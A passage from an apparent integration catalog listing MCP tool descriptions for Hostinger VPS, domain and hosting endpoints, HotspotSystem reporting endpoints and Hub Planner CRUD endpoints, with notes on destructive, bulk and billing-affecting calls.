Firewall can lose sync with virtual machine if the firewall has new rules added, removed or updated. Use this endpoint to apply updated firewall rules to VPS instances. DEPRECATED by Hostinger; it still answers, but prefer the current replacement in the same product family. POST /api/v1/hostinger/vps/v1/firewall/{firewallId}/sync/{virtualMachineId}. Scopes: api. hostinger_post_api_vps_v1_post_install_scripts (write) — Add a new post-install script to your account, which can then be used after virtual machine installation. The script contents will be saved to the file `/post_install` with executable attribute set and will be executed once virtual machine is installed. The output of the script will be redirected to `/post_install.log`. Maximum script size is 48KB. Use this endpoint to create automation scripts for VPS setup tasks. POST /api/v1/hostinger/vps/v1/post-install-scripts. Scopes: api. hostinger_post_api_vps_v1_public_keys (write) — Add a new public key to your account. Use this endpoint to register SSH keys for VPS authentication. POST /api/v1/hostinger/vps/v1/public-keys. Scopes: api. hostinger_post_api_vps_v1_public_keys_attach_by_virtualmachineid (write) — Attach existing public keys from your account to a specified virtual machine. Multiple keys can be attached to a single virtual machine. Use this endpoint to enable SSH key authentication for VPS instances. POST /api/v1/hostinger/vps/v1/public-keys/attach/{virtualMachineId}. Scopes: api. hostinger_post_api_vps_v1_virtual_machines (write) — Purchase and setup a new virtual machine. If virtual machine setup fails for any reason, login to hPanel (https://hpanel.hostinger.com/) and complete the setup manually. If no payment method is provided, your default payment method will be used automatically. If the response is `202 Accepted`, the payment is still being processed and the virtual machine was not set up. Login to hPanel (https://hpanel.hostinger.com/) and complete the setup manually. Use this endpoint to create new VPS instances. SPENDS MONEY: this places a PAID order against the account's billing profile and stored payment method. It is not a dry run and there is no confirmation step. POST /api/v1/hostinger/vps/v1/virtual-machines. Scopes: api. hostinger_post_api_vps_v1_virtual_machines_by_virtualmachineid_backups_by_backupid_restore (write) — Restore a backup for a specified virtual machine. The system will then initiate the restore process, which may take some time depending on the size of the backup. All data on the virtual machine will be overwritten with the data from the backup. Use this endpoint to recover VPS data from backup points. POST /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/backups/{backupId}/restore. Scopes: api. hostinger_post_api_vps_v1_virtual_machines_by_virtualmachineid_docker (write) — Deploy new project from docker-compose.yaml contents or download contents from URL. URL can be Github repository url in format https://github.com/[user]/[repo] and it will be automatically resolved to docker-compose.yaml file in master branch. Any other URL provided must return docker-compose.yaml file contents. If project with the same name already exists, existing project will be replaced. POST /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/docker. Scopes: api. hostinger_post_api_vps_v1_virtual_machines_by_virtualmachineid_docker_by_projectname_restart (write) — Restarts all services in a Docker Compose project by stopping and starting containers in the correct dependency order. This operation preserves data volumes and network configurations while refreshing the running containers. Use this to apply configuration changes or recover from service failures. POST /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/docker/{projectName}/restart. Scopes: api. hostinger_post_api_vps_v1_virtual_machines_by_virtualmachineid_docker_by_projectname_start (write) — Starts all services in a Docker Compose project that are currently stopped. This operation brings up containers in the correct dependency order as defined in the compose file. Use this to resume a project that was previously stopped or to start services after a system reboot. POST /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/docker/{projectName}/start. Scopes: api. hostinger_post_api_vps_v1_virtual_machines_by_virtualmachineid_docker_by_projectname_stop (write) — Stops all running services in a Docker Compose project while preserving container configurations and data volumes. This operation gracefully shuts down containers in reverse dependency order. Use this to temporarily halt a project without removing data or configurations. POST /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/docker/{projectName}/stop. Scopes: api. hostinger_post_api_vps_v1_virtual_machines_by_virtualmachineid_docker_by_projectname_update (write) — Updates a Docker Compose project by pulling the latest image versions and recreating containers with new configurations. This operation preserves data volumes while applying changes from the compose file. Use this to deploy application updates, apply configuration changes, or refresh container images to their latest versions. POST /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/docker/{projectName}/update. Scopes: api. hostinger_post_api_vps_v1_virtual_machines_by_virtualmachineid_monarx (write) — Install the Monarx malware scanner on a specified virtual machine. Monarx (https://www.monarx.com/) is a security tool designed to detect and prevent malware infections on virtual machines. By installing Monarx, users can enhance the security of their virtual machines, ensuring that they are protected against malicious software. Use this endpoint to enable malware protection on VPS instances. POST /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/monarx. Scopes: api. hostinger_post_api_vps_v1_virtual_machines_by_virtualmachineid_ptr_by_ipaddressid (write) — Create or update a PTR (Pointer) record for a specified virtual machine. Use this endpoint to configure reverse DNS lookup for VPS IP addresses. POST /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/ptr/{ipAddressId}. Scopes: api. hostinger_post_api_vps_v1_virtual_machines_by_virtualmachineid_recovery (write) — Initiate recovery mode for a specified virtual machine. Recovery mode is a special state that allows users to perform system rescue operations, such as repairing file systems, recovering data, or troubleshooting issues that prevent the virtual machine from booting normally. Virtual machine will boot recovery disk image and original disk image will be mounted in `/mnt` directory. Use this endpoint to enable system rescue operations on VPS instances. POST /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/recovery. Scopes: api. hostinger_post_api_vps_v1_virtual_machines_by_virtualmachineid_recreate (write) — Recreate a virtual machine from scratch. The recreation process involves reinstalling the operating system and resetting the virtual machine to its initial state. Snapshots, if there are any, will be deleted. Password Requirements: Password will be checked against leaked password databases. Requirements for the password are: - At least 12 characters long - At least one uppercase letter - At least one lowercase letter - At least one number - Is not leaked publicly This operation is irreversible and will result in the loss of all data stored on the virtual machine! Use this endpoint to completely rebuild VPS instances with fresh OS installation. POST /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/recreate. Scopes: api. hostinger_post_api_vps_v1_virtual_machines_by_virtualmachineid_restart (write) — Restart a specified virtual machine by fully stopping and starting it. If the virtual machine was stopped, it will be started. Use this endpoint to reboot VPS instances. POST /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/restart. Scopes: api. hostinger_post_api_vps_v1_virtual_machines_by_virtualmachineid_setup (write) — Setup newly purchased virtual machine with `initial` state. Use this endpoint to configure and initialize purchased VPS instances. POST /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/setup. Scopes: api. hostinger_post_api_vps_v1_virtual_machines_by_virtualmachineid_snapshot (write) — Create a snapshot of a specified virtual machine. A snapshot captures the state and data of the virtual machine at a specific point in time, allowing users to restore the virtual machine to that state if needed. This operation is useful for backup purposes, system recovery, and testing changes without affecting the current state of the virtual machine. Creating new snapshot will overwrite the existing snapshot! Use this endpoint to capture VPS state for backup and recovery purposes. POST /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/snapshot. Scopes: api. hostinger_post_api_vps_v1_virtual_machines_by_virtualmachineid_snapshot_restore (write) — Restore a specified virtual machine to a previous state using a snapshot. Restoring from a snapshot allows users to revert the virtual machine to that state, which is useful for system recovery, undoing changes, or testing. Use this endpoint to revert VPS instances to previous saved states. POST /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/snapshot/restore. Scopes: api. hostinger_post_api_vps_v1_virtual_machines_by_virtualmachineid_start (write) — Start a specified virtual machine. If the virtual machine is already running, the request will still be processed without any effect. Use this endpoint to power on stopped VPS instances. POST /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/start. Scopes: api. hostinger_post_api_vps_v1_virtual_machines_by_virtualmachineid_stop (write) — Stop a specified virtual machine. If the virtual machine is already stopped, the request will still be processed without any effect. This is a compute-only power state change and does not affect billing. To stop future charges, disable auto-renewal on the owning subscription. Use this endpoint to power off running VPS instances. POST /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/stop. Scopes: api. hostinger_put_api_agency_hosting_v1_websites_by_website_uid_domains_by_from_domain (write) — Changes the primary domain for an Agency Plan website. Provide the current domain in the path and the new domain in the request body. Set domain to null to revert to the temporary domain. PUT /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/domains/{from_domain}. Scopes: api. hostinger_put_api_agency_hosting_v1_websites_by_website_uid_php_settings_extensions (write) — Replaces the set of PHP extensions enabled on an Agency Plan website with the ones provided. Any toggleable extension not in the request is disabled, so call the extensions endpoint first and send the full desired set. Extensions compiled into PHP, reported with the "built-in" state, are always active and are unaffected. PUT /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/php-settings/extensions. Scopes: api. hostinger_put_api_agency_hosting_v1_websites_by_website_uid_php_settings_options (write) — Replaces the custom php.ini values on an Agency Plan website with the ones provided. Any option not in the request is reset to its default, so call the options endpoint first and send the full desired set. Sending an empty array resets every option to its default. PUT /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/php-settings/options. Scopes: api. hostinger_put_api_dns_v1_zones_by_domain (write) — Update DNS records for the selected domain. Using `overwrite = true` will replace existing records with the provided ones. Otherwise existing records will be updated and new records will be added. Use this endpoint to modify domain DNS configuration. PUT /api/v1/hostinger/dns/v1/zones/{domain}. Scopes: api. hostinger_put_api_domains_v1_forwarding_by_domain (write) — Update domain forwarding configuration. Use this endpoint to modify existing redirect configuration for domains. PUT /api/v1/hostinger/domains/v1/forwarding/{domain}. Scopes: api. hostinger_put_api_domains_v1_move_incoming_by_domain (write) — Accept an incoming move for a specified domain. The provided WHOIS profiles become the contacts of the domain, so they must belong to your account and satisfy the requirements of the TLD. Only the contact types the domain actually uses are applied, but all four profile IDs have to be provided. The move has to still be waiting for your decision, already accepted moves cannot be accepted again. Accepting does not complete the move. A confirmation email is sent to the email address of the new owner contact, and the domain changes hands only after the change is confirmed from it. Until then the move stays in the `activating` status, which can be followed with the incoming move endpoint (#tag/domains-move). Use this endpoint to take ownership of a domain offered to you. PUT /api/v1/hostinger/domains/v1/move/incoming/{domain}. Scopes: api. hostinger_put_api_domains_v1_portfolio_by_domain_domain_lock (write) — Enable domain lock for the domain. When domain lock is enabled, the domain cannot be transferred to another registrar without first disabling the lock. Use this endpoint to secure domains against unauthorized transfers. PUT /api/v1/hostinger/domains/v1/portfolio/{domain}/domain-lock. Scopes: api. hostinger_put_api_domains_v1_portfolio_by_domain_nameservers (write) — Set nameservers for a specified domain. Be aware, that improper nameserver configuration can lead to the domain being unresolvable or unavailable. Use this endpoint to configure custom DNS hosting for domains. PUT /api/v1/hostinger/domains/v1/portfolio/{domain}/nameservers. Scopes: api. hostinger_put_api_domains_v1_portfolio_by_domain_privacy_protection (write) — Enable privacy protection for the domain. When privacy protection is enabled, domain owner's personal information is hidden from public WHOIS database. Use this endpoint to protect domain owner's personal information from public view. PUT /api/v1/hostinger/domains/v1/portfolio/{domain}/privacy-protection. Scopes: api. hostinger_put_api_domains_v1_whois_change (write) — Change WHOIS contact profile for a domain. Repoints the given contact roles to a new WHOIS profile and submits the change to the registry. The profile currently assigned to those roles is resolved automatically; the request fails if the given roles are not all on the same profile today. Changing transfer sensitive fields on the owner contact starts an IRTP verification. The change is processed asynchronously. Use this endpoint to move a registered domain onto different contact information. PUT /api/v1/hostinger/domains/v1/whois/change. Scopes: api. hostinger_put_api_domains_v1_whois_default_by_whoisid (write) — Set WHOIS contact profile as default. The default profile is pre-selected for the TLD it belongs to when registering new domains. Use this endpoint to avoid picking contact information for every registration. PUT /api/v1/hostinger/domains/v1/whois/default/{whoisId}. Scopes: api. hostinger_put_api_hosting_v1_accounts_by_username_websites_by_domain_git_auto_deployments_settings (write) — Creates or replaces the Git auto-deployment settings of the website: repository, branch, the directory under the document root to deploy into, and `is_enabled`. Send the full set; `is_enabled` defaults to true and `directory` to the document root. `installation_uuid` must be an installation from `List Git installations` that belongs to the same customer as the website. For PHP and static websites, saving with `is_enabled` true deploys the branch right away and every later push to that branch deploys again. For Node.js and Website Builder websites saving does not clone anything. On a Node.js website start the first deploy with `Start Node.js build` using `source_type` `git`; pushes then trigger new builds with the build settings stored for the website. PUT /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/git/auto-deployments/settings. Scopes: api. hostinger_put_api_hosting_v1_accounts_by_username_websites_by_domain_nodejs_builds_settings (write) — Replaces the build settings stored for the website. Send the full set: `node_version` is required and every nullable field you omit is stored as null. Creates the settings when none exist yet. This does not start a build. Stored settings drive Git auto-deployment builds; a build started through the API uses the values sent in that request, so to rebuild with corrected settings call `Start Node.js build` with the same values. Typical fixes: a wrong `app_type` after auto-detection, or a missing `entry_file` for express, fastify, nest, nuxt and hono apps. PUT /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/nodejs/builds/settings. Scopes: api. hostinger_put_api_hosting_v1_accounts_by_username_websites_by_domain_nodejs_builds_settings_env (write) — Replaces the website's Node.js environment variables with the ones provided. This is a full replace: any variable not in the request is deleted, and sending an empty `env_vars` array deletes every variable. Saving writes the values and restarts the running Node.js process. A restart is enough for apps that read environment variables at process start, such as Express or NestJS. It is not enough for frameworks that bake variables into the build. Next.js standalone is one of those: build-time values (including `NEXT_PUBLIC_*`) need a fresh build. After this call, use the `Start Node.js build` endpoint so those apps pick up the new values. The `List Node.js environment variables` endpoint returns masked values (``), so never copy values from it into this request. Always send the full desired set with real values taken from the project `.env` file or the user prompt. PUT /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/nodejs/builds/settings/env. Scopes: api. hostinger_put_api_mail_v1_autoreplies_by_autoreplyid (write) — Replace the autoreply with the given content and schedule. Omitted optional fields are cleared: omit `starts_at` to activate the autoreply immediately and omit `ends_at` to keep it active indefinitely. PUT /api/v1/hostinger/mail/v1/autoreplies/{autoreplyId}. Scopes: api. hostinger_put_api_reach_v1_profiles_by_profileuuid_segmentation_segments_by_segmentuuid (write) — Rename a segment and/or replace the conditions that define it. `name` is always required. Omit `conditions` to rename without touching the conditions; supply them and they replace the existing set entirely rather than being merged into it. Contacts are never modified, but which of them match the segment can change immediately. PUT /api/v1/hostinger/reach/v1/profiles/{profileUuid}/segmentation/segments/{segmentUuid}. Scopes: api. hostinger_put_api_vps_v1_firewall_by_firewallid_rules (write) — Replaces all firewall rules within a specified firewall group with the provided set of rules in a single atomic operation, instead of creating or deleting rules one by one. Any virtual machine using this firewall group will need to be synchronized after replacing rules; pass the "sync" parameter to trigger synchronization immediately. PUT /api/v1/hostinger/vps/v1/firewall/{firewallId}/rules. Scopes: api. hostinger_put_api_vps_v1_firewall_by_firewallid_rules_by_ruleid (write) — Update a specific firewall rule from a specified firewall. Any virtual machine that has this firewall activated will lose sync with the firewall and will have to be synced again manually. Use this endpoint to modify existing firewall rules. PUT /api/v1/hostinger/vps/v1/firewall/{firewallId}/rules/{ruleId}. Scopes: api. hostinger_put_api_vps_v1_post_install_scripts_by_postinstallscriptid (write) — Update a specific post-install script. Use this endpoint to modify existing automation scripts. PUT /api/v1/hostinger/vps/v1/post-install-scripts/{postInstallScriptId}. Scopes: api. hostinger_put_api_vps_v1_virtual_machines_by_virtualmachineid_hostname (write) — Set hostname for a specified virtual machine. Changing hostname does not update PTR record automatically. If you want your virtual machine to be reachable by a hostname, you need to point your domain A/AAAA records to virtual machine IP as well. Use this endpoint to configure custom hostnames for VPS instances. PUT /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/hostname. Scopes: api. hostinger_put_api_vps_v1_virtual_machines_by_virtualmachineid_nameservers (write) — Set nameservers for a specified virtual machine. Be aware, that improper nameserver configuration can lead to the virtual machine being unable to resolve domain names. Use this endpoint to configure custom DNS resolvers for VPS instances. PUT /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/nameservers. Scopes: api. hostinger_put_api_vps_v1_virtual_machines_by_virtualmachineid_panel_password (write) — Set panel password for a specified virtual machine. If virtual machine does not use panel OS, the request will still be processed without any effect. Requirements for password are same as in the recreate virtual machine endpoint (/#tag/vps-virtual-machine/POST/api/vps/v1/virtual-machines/{virtualMachineId}/recreate). Use this endpoint to configure control panel access credentials for VPS instances. PUT /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/panel-password. Scopes: api. hostinger_put_api_vps_v1_virtual_machines_by_virtualmachineid_root_password (write) — Set root password for a specified virtual machine. Requirements for password are same as in the recreate virtual machine endpoint (/#tag/vps-virtual-machine/POST/api/vps/v1/virtual-machines/{virtualMachineId}/recreate). Use this endpoint to update administrator credentials for VPS instances. PUT /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/root-password. Scopes: api. ================================================================================ ## HotspotSystem URL: https://www.agenticfabriq.com/integrations/hotspotsystem Section: Integrated Tools HotspotSystem — 18 MCP tools Provider key: hotspotsystem. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. hotspotsystem_get_customers (read) — Get a list of the resource owner's customers across every location -- the end users who signed in at a hotspot, with their contact details and, for social logins, the social profile the network returned via GET /v2.0/customers GET /api/v1/hotspotsystem/customers. Scopes: api. hotspotsystem_get_locations (read) — Get a list of the resource owner's hotspot locations (venues). Measured 2026-09-24, a location record carries id, name, address, city, state, zip and country_code -- more fields than the 2016 contract's id/name pair documents, and any of them may be named in `fields` via GET /v2.0/locations GET /api/v1/hotspotsystem/locations. Scopes: api. hotspotsystem_get_locations_by_locationid_customers (read) — Get a list of the resource owner's customers at the specified location via GET /v2.0/locations/{locationId}/customers GET /api/v1/hotspotsystem/locations/{locationId}/customers. Scopes: api. hotspotsystem_get_locations_by_locationid_subscribers (read) — Get a list of the resource owner's subscribers at the specified location via GET /v2.0/locations/{locationId}/subscribers GET /api/v1/hotspotsystem/locations/{locationId}/subscribers. Scopes: api. hotspotsystem_get_locations_by_locationid_transactions_mac (read) — Get a list of the resource owner's MAC transactions at the specified location via GET /v2.0/locations/{locationId}/transactions/mac GET /api/v1/hotspotsystem/locations/{locationId}/transactions/mac. Scopes: api. hotspotsystem_get_locations_by_locationid_transactions_paid (read) — Get a list of the resource owner's paid transactions at the specified location via GET /v2.0/locations/{locationId}/transactions/paid GET /api/v1/hotspotsystem/locations/{locationId}/transactions/paid. Scopes: api. hotspotsystem_get_locations_by_locationid_transactions_social (read) — Get a list of the resource owner's social transactions at the specified location via GET /v2.0/locations/{locationId}/transactions/social GET /api/v1/hotspotsystem/locations/{locationId}/transactions/social. Scopes: api. hotspotsystem_get_locations_by_locationid_transactions_voucher (read) — Get a list of the resource owner's voucher transactions at the specified location via GET /v2.0/locations/{locationId}/transactions/voucher GET /api/v1/hotspotsystem/locations/{locationId}/transactions/voucher. Scopes: api. hotspotsystem_get_locations_by_locationid_vouchers (read) — Get a list of the resource owner's access vouchers at the specified location. NOTE: measured 2026-09-24 this endpoint answers 500 {"error":"Cannot read property 'currency' of undefined"} on an account whose location has no currency configured -- a provider-side defect, not a tool defect via GET /v2.0/locations/{locationId}/vouchers GET /api/v1/hotspotsystem/locations/{locationId}/vouchers. Scopes: api. hotspotsystem_get_locations_options (read) — Get the resource owner's locations as a flat id/name option list for a picker, including the synthetic id `0` meaning All locations. Takes no paging or field parameters via GET /v2.0/locations/options GET /api/v1/hotspotsystem/locations/options. Scopes: api. hotspotsystem_get_me (read) — Verify the resource owner's credentials, returning the operator's numeric userId and operator name. This is the provider's own credential check: a valid key answers 200 and any other value answers 401 {"error":"Invalid authentication!"} via GET /v2.0/me GET /api/v1/hotspotsystem/me. Scopes: api. hotspotsystem_get_ping (read) — Find out whether the HotspotSystem API is reachable. Measured 2026-09-24: this endpoint answers 200 {"ping":"pong"} with NO credential at all, so a 200 here proves the API is up and proves NOTHING about the connection's key -- use Verify credentials for that via GET /v2.0/ping GET /api/v1/hotspotsystem/ping. Scopes: api. hotspotsystem_get_subscribers (read) — Get a list of the resource owner's subscribers across every location -- the end users holding a recurring subscription rather than a one-off session via GET /v2.0/subscribers GET /api/v1/hotspotsystem/subscribers. Scopes: api. hotspotsystem_get_transactions_mac (read) — Get a list of the resource owner's MAC transactions across every location -- sessions started by device address, with the sign-in form's answers via GET /v2.0/transactions/mac GET /api/v1/hotspotsystem/transactions/mac. Scopes: api. hotspotsystem_get_transactions_paid (read) — Get a list of the resource owner's paid transactions across every location -- sessions bought with a card or other payment, with the amount and currency via GET /v2.0/transactions/paid GET /api/v1/hotspotsystem/transactions/paid. Scopes: api. hotspotsystem_get_transactions_social (read) — Get a list of the resource owner's social transactions across every location -- sessions started through a social network login, with the social profile the network returned via GET /v2.0/transactions/social GET /api/v1/hotspotsystem/transactions/social. Scopes: api. hotspotsystem_get_transactions_voucher (read) — Get a list of the resource owner's voucher transactions across every location -- sessions paid for with an access voucher, with the amount and currency via GET /v2.0/transactions/voucher GET /api/v1/hotspotsystem/transactions/voucher. Scopes: api. hotspotsystem_get_vouchers (read) — Get a list of the resource owner's access vouchers across every location, with each voucher's code, traffic and time limits, price and currency. NOTE: measured 2026-09-24 this endpoint answers 500 {"error":"Cannot read property 'currency' of undefined"} on an account whose location has no currency configured -- a provider-side defect, not a tool defect via GET /v2.0/vouchers GET /api/v1/hotspotsystem/vouchers. Scopes: api. ================================================================================ ## Hub Planner URL: https://www.agenticfabriq.com/integrations/hubplanner Section: Integrated Tools Hub Planner — 151 MCP tools Provider key: hubplanner. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. hubplanner_delete_billingrate_by_id (write, destructive) — Delete Billing Rate via DELETE /billingRate/{id} DELETE /api/v1/hubplanner/billingRate/{id}. Scopes: api. hubplanner_delete_booking (write, destructive) — Delete Bookings Bulk via DELETE /booking. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. The request body is a JSON ARRAY, not an object. Bulk delete. It names its targets by query (`ids`, `resourceId`, `projectId`) or by a JSON array of ids in the body, and removes EVERY match in one call. DELETE /api/v1/hubplanner/booking. Scopes: api. hubplanner_delete_booking_by_id (write, destructive) — Delete Booking via DELETE /booking/{id} DELETE /api/v1/hubplanner/booking/{id}. Scopes: api. hubplanner_delete_calendar_by_id (write, destructive) — Delete Public Holiday Calendar via DELETE /calendar/{id} DELETE /api/v1/hubplanner/calendar/{id}. Scopes: api. hubplanner_delete_categories_by_id (write, destructive) — Delete Booking Category via DELETE /categories/{id} DELETE /api/v1/hubplanner/categories/{id}. Scopes: api. hubplanner_delete_category_groups_by_id (write, destructive) — Delete Category Group via DELETE /category-groups/{id} DELETE /api/v1/hubplanner/category-groups/{id}. Scopes: api. hubplanner_delete_client_by_id (write, destructive) — Delete Client via DELETE /client/{id} DELETE /api/v1/hubplanner/client/{id}. Scopes: api. hubplanner_delete_costcategories_by_id (write, destructive) — Delete Project Cost Category via DELETE /costCategories/{id} DELETE /api/v1/hubplanner/costCategories/{id}. Scopes: api. hubplanner_delete_customavailabilityoverride_by_id (write, destructive) — Delete Custom Availability Override via DELETE /customAvailabilityOverride/{id} DELETE /api/v1/hubplanner/customAvailabilityOverride/{id}. Scopes: api. hubplanner_delete_event_by_id (write, destructive) — Delete Event via DELETE /event/{id} DELETE /api/v1/hubplanner/event/{id}. Scopes: api. hubplanner_delete_holiday_by_id (write, destructive) — Delete Holiday via DELETE /holiday/{id} DELETE /api/v1/hubplanner/holiday/{id}. Scopes: api. hubplanner_delete_milestone_by_id (write, destructive) — Delete Milestone via DELETE /milestone/{id} DELETE /api/v1/hubplanner/milestone/{id}. Scopes: api. hubplanner_delete_project (write, destructive) — Delete Projects Bulk via DELETE /project. The request body is a JSON ARRAY, not an object. Bulk delete. It names its targets by query (`ids`, `resourceId`, `projectId`) or by a JSON array of ids in the body, and removes EVERY match in one call. DELETE /api/v1/hubplanner/project. Scopes: api. hubplanner_delete_project_by_id (write, destructive) — Delete Project via DELETE /project/{id} DELETE /api/v1/hubplanner/project/{id}. Scopes: api. hubplanner_delete_project_by_id_tag_by_tagid (write, destructive) — Remove Project Tag via DELETE /project/{id}/tag/{tagId} DELETE /api/v1/hubplanner/project/{id}/tag/{tagId}. Scopes: api. hubplanner_delete_project_customfield_template_by_id (write, destructive) — Delete Project Custom Field Template via DELETE /project/customField/template/{id} DELETE /api/v1/hubplanner/project/customField/template/{id}. Scopes: api. hubplanner_delete_project_tag_by_id (write, destructive) — Delete Project Tag via DELETE /project-tag/{id} DELETE /api/v1/hubplanner/project-tag/{id}. Scopes: api. hubplanner_delete_projectgroup_by_id (write, destructive) — Delete Project Group via DELETE /projectgroup/{id} DELETE /api/v1/hubplanner/projectgroup/{id}. Scopes: api. hubplanner_delete_resource (write, destructive) — Delete Resources Bulk via DELETE /resource. The request body is a JSON ARRAY, not an object. Bulk delete. It names its targets by query (`ids`, `resourceId`, `projectId`) or by a JSON array of ids in the body, and removes EVERY match in one call. DELETE /api/v1/hubplanner/resource. Scopes: api. hubplanner_delete_resource_by_id (write, destructive) — Delete Resource via DELETE /resource/{id} DELETE /api/v1/hubplanner/resource/{id}. Scopes: api. hubplanner_delete_resource_by_id_tag_by_tagid (write, destructive) — Remove Resource Tag via DELETE /resource/{id}/tag/{tagId} DELETE /api/v1/hubplanner/resource/{id}/tag/{tagId}. Scopes: api. hubplanner_delete_resource_customfield_template_by_id (write, destructive) — Delete Resource Custom Field Template via DELETE /resource/customField/template/{id} DELETE /api/v1/hubplanner/resource/customField/template/{id}. Scopes: api. hubplanner_delete_resource_tag_by_id (write, destructive) — Delete Resource Tag via DELETE /resource-tag/{id} DELETE /api/v1/hubplanner/resource-tag/{id}. Scopes: api. hubplanner_delete_subscription_by_subscription_id (write, destructive) — Delete Webhook Subscription via DELETE /subscription/{subscription_id} DELETE /api/v1/hubplanner/subscription/{subscription_id}. Scopes: api. hubplanner_delete_timeentry (write, destructive) — Delete Time Entries Bulk via DELETE /timeentry. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. The request body is a JSON ARRAY, not an object. Bulk delete. It names its targets by query (`ids`, `resourceId`, `projectId`) or by a JSON array of ids in the body, and removes EVERY match in one call. DELETE /api/v1/hubplanner/timeentry. Scopes: api. hubplanner_delete_timeentry_by_id (write, destructive) — Delete Time Entry via DELETE /timeentry/{id} DELETE /api/v1/hubplanner/timeentry/{id}. Scopes: api. hubplanner_delete_unassigned_work_by_id (write, destructive) — Delete Unassigned Work via DELETE /unassigned-work/{id} DELETE /api/v1/hubplanner/unassigned-work/{id}. Scopes: api. hubplanner_delete_vacation_by_id (write, destructive) — Delete Vacation via DELETE /vacation/{id} DELETE /api/v1/hubplanner/vacation/{id}. Scopes: api. hubplanner_get_billingrate (read) — Get All Billing Rates via GET /billingRate GET /api/v1/hubplanner/billingRate. Scopes: api. hubplanner_get_billingrate_by_id (read) — Get Billing Rate via GET /billingRate/{id} GET /api/v1/hubplanner/billingRate/{id}. Scopes: api. hubplanner_get_booking (read) — Get All Bookings via GET /booking. This endpoint is one of the two whose `limit` defaults to 20 rather than unlimited, so an omitted `limit` silently truncates the result. GET /api/v1/hubplanner/booking. Scopes: api. hubplanner_get_booking_by_id (read) — Get Booking via GET /booking/{id} GET /api/v1/hubplanner/booking/{id}. Scopes: api. hubplanner_get_calendar (read) — Get All Public Holiday Calendars via GET /calendar GET /api/v1/hubplanner/calendar. Scopes: api. hubplanner_get_calendar_by_id (read) — Get Public Holiday Calendar via GET /calendar/{id} GET /api/v1/hubplanner/calendar/{id}. Scopes: api. hubplanner_get_categories (read) — Get All Booking Categories via GET /categories GET /api/v1/hubplanner/categories. Scopes: api. hubplanner_get_categories_by_id (read) — Get Booking Category via GET /categories/{id} GET /api/v1/hubplanner/categories/{id}. Scopes: api. hubplanner_get_category_groups (read) — Get All Category Groups via GET /category-groups GET /api/v1/hubplanner/category-groups. Scopes: api. hubplanner_get_category_groups_by_id (read) — Get Category Group via GET /category-groups/{id} GET /api/v1/hubplanner/category-groups/{id}. Scopes: api. hubplanner_get_client (read) — Get All Clients via GET /client GET /api/v1/hubplanner/client. Scopes: api. hubplanner_get_client_by_id (read) — Get Client via GET /client/{id} GET /api/v1/hubplanner/client/{id}. Scopes: api. hubplanner_get_costcategories (read) — Get All Project Cost Categories via GET /costCategories GET /api/v1/hubplanner/costCategories. Scopes: api. hubplanner_get_costcategories_by_id (read) — Get Project Cost Category via GET /costCategories/{id} GET /api/v1/hubplanner/costCategories/{id}. Scopes: api. hubplanner_get_customavailabilityoverride_by_id (read) — Get Custom Availability Override via GET /customAvailabilityOverride/{id} GET /api/v1/hubplanner/customAvailabilityOverride/{id}. Scopes: api. hubplanner_get_customavailabilityoverride_findbyresourceid_by_resourceid (read) — Get Custom Availability Overrides By Resource via GET /customAvailabilityOverride/findByResourceId/{resourceId} GET /api/v1/hubplanner/customAvailabilityOverride/findByResourceId/{resourceId}. Scopes: api. hubplanner_get_event (read) — Get All Events via GET /event GET /api/v1/hubplanner/event. Scopes: api. hubplanner_get_event_by_id (read) — Get Event via GET /event/{id} GET /api/v1/hubplanner/event/{id}. Scopes: api. hubplanner_get_holiday (read) — Get All Holidays via GET /holiday GET /api/v1/hubplanner/holiday. Scopes: api. hubplanner_get_holiday_by_id (read) — Get Holiday via GET /holiday/{id} GET /api/v1/hubplanner/holiday/{id}. Scopes: api. hubplanner_get_milestone_by_id (read) — Get Milestone via GET /milestone/{id} GET 